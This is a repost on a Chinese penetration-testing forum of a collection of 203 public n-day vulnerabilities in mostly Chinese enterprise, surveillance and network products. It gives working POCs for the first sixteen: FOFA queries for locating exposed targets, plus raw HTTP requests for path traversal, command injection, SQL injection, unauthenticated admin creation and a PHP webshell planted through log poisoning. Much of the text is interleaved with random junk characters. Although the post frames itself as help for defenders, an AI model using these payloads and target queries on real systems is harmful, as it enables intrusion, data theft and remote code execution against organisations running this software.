中国网络渗透测试联盟

标题: 互联网公开漏洞整理202309-202406--转载 [打印本页]

---

作者: admin    时间: 2024-6-5 14:31
标题: 互联网公开漏洞整理202309-202406--转载
互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
8 x0 ^) x; F0 e2 s. X& L% r以下文章来源于网络安全新视界 ，作者网络安全新视界
9 t) n2 }* n+ F) i5 v  F
8 r5 p) L% F$ n1 r发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
2 h( A: k5 v% p7 K" O5 L/ j
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

' m  d( q' ^. ?* j3 h0 R0 k  b5 n安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
. ]7 j. l4 f! s( N5 Q
) y, v  U& b9 y0 D, j5 R  \+ V合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

& x3 U  @7 d4 I- [
  j$ z9 g  ~, ?) D! L7 U声明
0 G2 \* [+ X9 g. D% w: Z8 y
- ]( X4 s. z9 J8 T为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
: E8 C) \" C' ^
8 R( m# b- t$ \2 X
2 z2 v  u* t* }
9 q9 n# l' }& ^) l( T% i目录

  ~  x- I1 Q" q- h8 X01

# H0 X. m0 j) _) e8 Y1. StarRocks MPP数据库未授权访问
  {8 y0 X$ a7 t% K+ o2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
: V1 C0 z1 ]& Q5 d  Y7. 鸿运主动安全监控云平台任意文件下载
5 ?- C$ z3 ]7 j8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
" D; {6 |+ N4 P- \! _+ E) O11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
) Y5 d: j0 O% R$ s15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
  x# q# y0 h% Z; R2 R; j17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
4 R  q. q5 M/ k* Y19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
6 |1 l, J; I" k; ~; U22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
7 U& @* Z* Q2 H7 r$ E# b24. 用友NC 6.5 accept.jsp任意文件上传
: U* S3 M! Z# z0 j25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
. ~0 l8 _: e* M( d8 K32. 用友NC complainbilldetail SQL注入
2 ?  c& b9 Y) c* l7 A33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
; b7 T+ a+ G( D5 u) Z5 @0 Q0 j35. 用友NC-Cloud importhttpscer任意文件上传
- D! q8 ^9 s. Q36. 用友NC-Cloud soapFormat XXE
) o" b9 u% ~$ ?# t+ H9 \37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
! G2 i& Y  p$ c/ ]3 e39. 用友U8 Cloud RegisterServlet SQL注入
" I6 c% W' ]6 o! ~40. 用友U8-Cloud XChangeServlet XXE
: P4 ^9 ?8 W2 z6 B0 i7 e41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
7 p) N; x+ _$ ^; Y  s2 Z42. 用友GRP-U8 SmartUpload01 文件上传
- Z; N) N: X2 {! r& P43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
. P8 U# E% J" M# P. }4 j; A46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
3 v) V+ m5 V; {  |6 I) A  l4 @48. 用友U8 CRM swfupload 任意文件上传
' Q# {, H2 x9 W49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
9 f& Y0 w( L) W4 u) t4 g( _51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
4 H* ~2 m5 K+ g! |53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
. \; P' t) `: m; o56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
! ]9 I6 C# e* R59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
: x  x  i- q* B7 H" O60. 百卓Smart管理平台 importexport.php SQL注入
3 j0 c, S, e, C$ T! a61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
, t0 D7 h7 u& a/ ~- B# S! k62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
1 f6 r' `. X; x0 |. I5 G64. 捷诚管理信息系统CWSFinanceCommon SQL注入
" ^$ a. [) J8 n) D' v+ g, {65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
& z0 q+ q7 p- g6 X  M' z6 M9 Z68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
5 _0 Q7 b* L+ M$ n4 R5 d71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
; C' J! P+ \$ e7 [( F3 M73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
6 N# H% p: E: l  N& A+ T/ n8 N77. F22服装管理软件系统UploadHandler.ashx任意文件上传
$ y* O) c' N: T/ x78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
* J- X2 e$ z8 h' L) \3 E80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
: q/ z- L( D) U, k/ l% E+ R82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
' U( t9 z) c. f, I) t  X85. SysAid On-premise< 23.3.36远程代码执行
. A: O7 Z9 _4 B' Z4 Z! F  [" `0 Y7 W3 W86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
4 Q7 W3 N7 ^1 V3 |88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
" J7 @! v) _& X2 Z+ a' M89. 致远互联FE协作办公平台editflow_manager存在sql注入
. M& t9 d# x" [1 r7 ~90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
4 k) v8 e% y) r/ O) s94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
' R5 O' }0 D; T0 m95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
6 b4 K& c4 j9 @. e9 q; A100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
. U: H% B+ H) L- I/ H$ J101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
; e0 ]; O  G, C0 N7 c# Z103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
2 n7 c4 q6 o! ^! L" g/ P1 G105. SpringBlade v3.2.0 export-user SQL 注入
+ o2 M- E3 X" v$ o; q106. SpringBlade dict-biz/list SQL 注入
2 k1 N4 |( W% d6 l, I+ Q107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
1 Q+ Y2 @2 ^& V; g7 N5 y9 x109. Jenkins CLI 任意文件读取
$ _5 U: R4 j9 J+ B7 g: d110. Goanywhere MFT 未授权创建管理员
- K" u( E6 Z5 [9 p111. WordPress Plugin HTML5 Video Player SQL注入
& }. U: [' g( o9 k  _5 W112. WordPress Plugin NotificationX SQL 注入
/ }3 j+ r: A/ k4 a% H5 |113. WordPress Automatic 插件任意文件下载和SSRF
2 Z- R. j  K2 x- V  t' ?0 D114. WordPress MasterStudy LMS插件 SQL注入
" `0 S$ z+ d" G3 i% j) z115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
5 M# k) y( Z; O& Y# e( B7 o' D117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
5 a: P  I, _% K$ u+ A9 Y6 j8 z! c119. 北京百绰智能S20后台sysmanageajax.php sql注入
& p6 b+ R) W+ p, t. t# r0 E; V120. 北京百绰智能S40管理平台导入web.php任意文件上传
  O- f+ T- N1 h3 T/ m& h121. 北京百绰智能S42管理平台userattestation.php任意文件上传
  s! z! V) s, N122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
9 L, V8 V0 Y) Z- B124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
) U% Q) |* H! i( R: X126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
# S1 E: k" G- W( z130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
# X/ I% m# f. F3 l( S3 D$ R132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
; `& ~" o$ Z4 k3 O& ], s133. H5 云商城 file.php 文件上传
6 ^0 p% f* ~. u, T134. 网康NS-ASG应用安全网关index.php sql注入
; N) Z5 E# x2 c( [* `: g; S135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
6 _1 q% @& |9 ~* }* e137. 福建科立迅通信指挥调度平台down_file.php sql注入
: `0 ?0 n1 S, H+ \( v138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
! q7 g" @+ c0 w141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
4 h% X; S, `/ R' `1 s144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
# F, O; Q) S0 c2 R! D150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
& u. O# }3 i2 o" q. j/ G152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
- M6 Y7 K; j2 `  d( ?. s8 ?154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
8 O6 j# ~" c) W. k; i156. TBK DVR-4104/DVR-4216 操作系统命令注入
' Q. [4 t6 }& t1 b" D+ f3 y157. 美特CRM upload.jsp 任意文件上传
* z* }) e' M' I2 H0 ~  [158. Mura-CMS-processAsyncObject存在SQL注入
$ t6 \$ s$ |( I- [: I* H; n# B1 h159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
) U, b& r3 z& b; b: h160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
4 a$ G3 e; g# G. q' n. c167. 精益价值管理系统 DownLoad.aspx任意文件读取
- M; E6 U9 C$ c! e% f9 Z3 o168. 宏景EHR OutputCode 任意文件读取
! w2 p( J# J+ ?$ h- ]5 w169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
  M% }" E0 D4 S" m. ]. P172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
. ^2 S! N# I3 H' T174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
4 w' d( Q, ?1 X% p% P% O; i+ a177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
4 W, e+ R1 o; W181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
; Q: N6 @1 S4 k# z  E1 o, Y183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
7 p& S# a$ s" D% J2 o184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
$ L# Z+ |4 T8 \, O185. 瑞友天翼应用虚拟化系统SQL注入
; t( v& E  I3 R6 y/ T186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
$ ^1 ^0 ?$ h& }$ L% k4 V) E: `189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
' M3 R" G* E) y1 B* [% e193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
; l! {6 W9 ]. K2 Q4 j195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
6 Q* Z$ o6 Z% A5 t) Q4 S196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
( A7 p: F" ?0 O# I" g# G) {  A200. SeaCMS海洋影视管理系统dmku SQL注入
% i! P- Z* U5 z6 z201. 方正全媒体新闻采编系统 binary SQL注入
2 Z$ T' S2 x' r' k2 l202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
9 }! I3 ~) s1 A: m, h
POC列表
3 a! O# d( e/ u
02
/ K$ |- I& L7 X0 N
1. StarRocks MPP数据库未授权访问
  x+ k3 Q+ Q0 s5 g: Q0 AFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
9 k' _" x7 {, S$ oHost: URL
8 r& m+ p4 i7 @4 ?' M* E7 i& f
7 m8 ]) v; a- I" X
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
! ^  O, x3 \+ Z0 q0 d) n: XGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
: P7 A, N# P! v: [1 OUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
5 [# D8 a( \  U! y4 eAccept: */*
Accept-Language: en
Accept-Encoding: gzip


. f7 E) u7 C% M/ m0 d3. EasyCVR智能边缘网关 userlist 信息泄漏
5 {* h% o/ W* y& g! NFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx

" u2 [7 Q" i# t5 D
4. EasyCVR视频管理平台存在任意用户添加
+ A. K4 b' \3 B5 B# I4 oFOFA ：title="EasyCVR"
! z& |& ^1 j, P4 U0 A! F
) O& g& T7 K5 O6 A8 Lpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
! t! J9 ]% T5 u. j" HHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
: Q2 X# @& m3 K3 b0 V; k2 B
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
, A% ~4 o3 X3 @# _, h

5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
1 b" U8 d3 F' m. l  N( g: ?Host: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
5 o/ l+ f$ ^9 KFOFA：title="SANGFOR | NGAF"
# H) ^% v' A$ I# O$ ]GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:

4 r2 d# @* _4 j, U; o/ K1 E
( u. |" E9 N+ ]  t7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
9 O) i% b  x7 p+ g; s8 n# ^Host:
4 W6 q4 z: J1 j( t/ |) O. H4 [
) y# D$ |$ R/ A& Y
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
* Q. y: n0 h; `  OPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
- p7 f" F5 S8 jHost: x.x.x.x
3 b0 F; S" Z, y/ v& h9 L  m2 ?9 F- W1 ZCookie: sysauth=第一步登录获取的cookie
/ I2 j* q& @* D# aContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

$ u2 F8 w, g' e% d4 Y) B------WebKitFormBoundaryxbgjoytz
' l3 F8 [% J7 PContent-Disposition: form-data; name="wifiRebootEnablestatus"

%s
  J3 x& n  w, A+ ]1 S5 |0 _------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
7 |: J, b+ I5 I3 s: j% t, C- d
12:00; id;
( w8 ~7 S/ M9 s, @8 z: v% d% I& n: A+ [------WebKitFormBoundaryxbgjoytz
. Y! t; w  R% uContent-Disposition: form-data; name="wifiRebootendrange"
  v" ]5 n  @2 n( s. E
- x5 _: S. U, U%s:
+ Z! F* A* G8 C) Y# ]+ v9 R------WebKitFormBoundaryxbgjoytz
# Q$ L! \* H( UContent-Disposition: form-data; name="cururl2"
/ j8 x# G4 ~! D& l7 U4 Q

2 z# g7 _  H3 H1 N------WebKitFormBoundaryxbgjoytz--


" s) V* O4 s& Y$ W% v' ~9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
2 \  c0 E! a- S# kHost: x.x.x.x
2 x& i2 y6 G4 l% T
+ x6 \+ y  a6 L9 T' T! f5 X" e
payload为下列语句的二次Url编码
* ~( [4 o( I6 ?( p
7 p9 t* g6 I' V# C' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
! U- W  n" x9 f
文件上传后响应中包含上传文件的路径
+ j/ K9 p# F% r; [0 z( OPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
2 X: h4 t5 u; [' Q7 L, M7 {0 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
1 @; Z6 S" [" i. lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  d$ o. m6 h5 f9 x; EConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
, `& h5 o, C  ~; n1 n) HContent-Disposition: form-data; name="file"filename="icfitnya.txt"
( S; y$ u# L8 t" w& {; IContent-Type: text/html

3 o8 I4 h% o. G( i' sjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
1 q" I& h! ~1 B5 B9 P
  I0 X" Y5 l. ~+ a# O
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
+ U( o1 b( m. `$ [9 u' @+ YFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
7 t* y) m& O; gHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, X! k+ R# X$ F9 j  q2 M. nAccept-Encoding: gzip, deflate
& Q, E* D) u) sAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


12. Jorani < 1.0.2 远程命令执行
# {/ x# W7 v, t6 [FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
7 M9 h. F/ z( l* s' ZHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
2 }( v3 R/ ~1 U. bConnection: close
! T# n! ^/ I4 M* F; AAccept-Encoding: gzip


; x# `" {  }3 g0 I  T2 z响应中csrf_cookie_jorani用于后续请求
$ }, R: U, Y1 V; A$ fHTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
6 H+ @# s- p8 [Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
: q3 r& K3 \9 q& m* f3 QServer: Apache/2.4.54 (Debian)
1 Y; }' O$ G7 V( T/ YSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
* p/ l) C) _  C4 oSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
1 X# o5 a" x. v: B$ p" e7 dVary: Accept-Encoding
3 P' l- l$ H0 N; ^" m; Q

POST请求，执行函数并进行base64编码
) s6 D. Z  H" Y' Z4 QPOST /session/login HTTP/1.1
* O% t0 x* _7 H" z6 y" OHost: 192.168.190.30
+ y4 X5 U& v' qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
  J( V0 I8 r4 u' U- i& M4 Z+ A6 zConnection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
# w/ h- K* W* ?5 p  ^" f5 vCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
4 e' w7 g% A1 gAccept-Encoding: gzip
  p5 m' }6 u% {& v& B
# ]' C& y0 `8 {' A! B3 Bcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

7 Z2 S: ]. I- Z9 M2 d0 x  U

' i% n. C- l1 Q7 ^# A) m向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
: b  ?( V8 T% P1 u- E+ hCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
+ Y/ ~6 Z9 S/ p7 JK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
, l  _$ S6 [& M  R8 \% _, {) l

13. 红帆iOffice ioFileDown任意文件读取
3 S! F% I7 k/ o( `/ sFOFA：app="红帆-ioffice"
; M: u' Q/ x. y: }% q5 ?6 ~GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
2 R; z, s3 l# m( U& UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
+ B1 N% m4 E2 z' l4 l) D! `0 PAccept: */*
8 ^6 H- B1 c# a  t* SAccept-Encoding: gzip

4 k, F! P+ H) G3 Y! ^. e
, W. b6 {; G( ]! n" T+ m14. 华夏ERP（jshERP）敏感信息泄露
+ a  u9 i; M2 x! `* l. g1 OFOFA：body="jshERP-boot"
泄露内容包括用户名密码
/ J2 v8 |. b0 S9 {0 NGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
+ Y% X/ l- _  F( J* q) ~Accept: */*
6 T' D1 U7 i8 r" v* m' H" lAccept-Language: en
+ v  w  c5 E* b9 jAccept-Encoding: gzip
6 j$ a+ i' C/ w/ W8 g6 ]6 e
) m  Z2 o3 Z# Z3 U, f% |
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
$ ?+ I0 w+ ^2 d9 e' Z; ~( x泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
3 m' }7 J3 f! e; tHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
  w! u: w( Q& ^1 ]+ tAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
9 q- l6 P) V8 e3 vAccept-Encoding: gzip


16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
& q  @3 C0 e; |' ?; e1 dpoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
/ Y4 I1 I( F4 f+ q( o2 t$ AHost: x.x.x.x
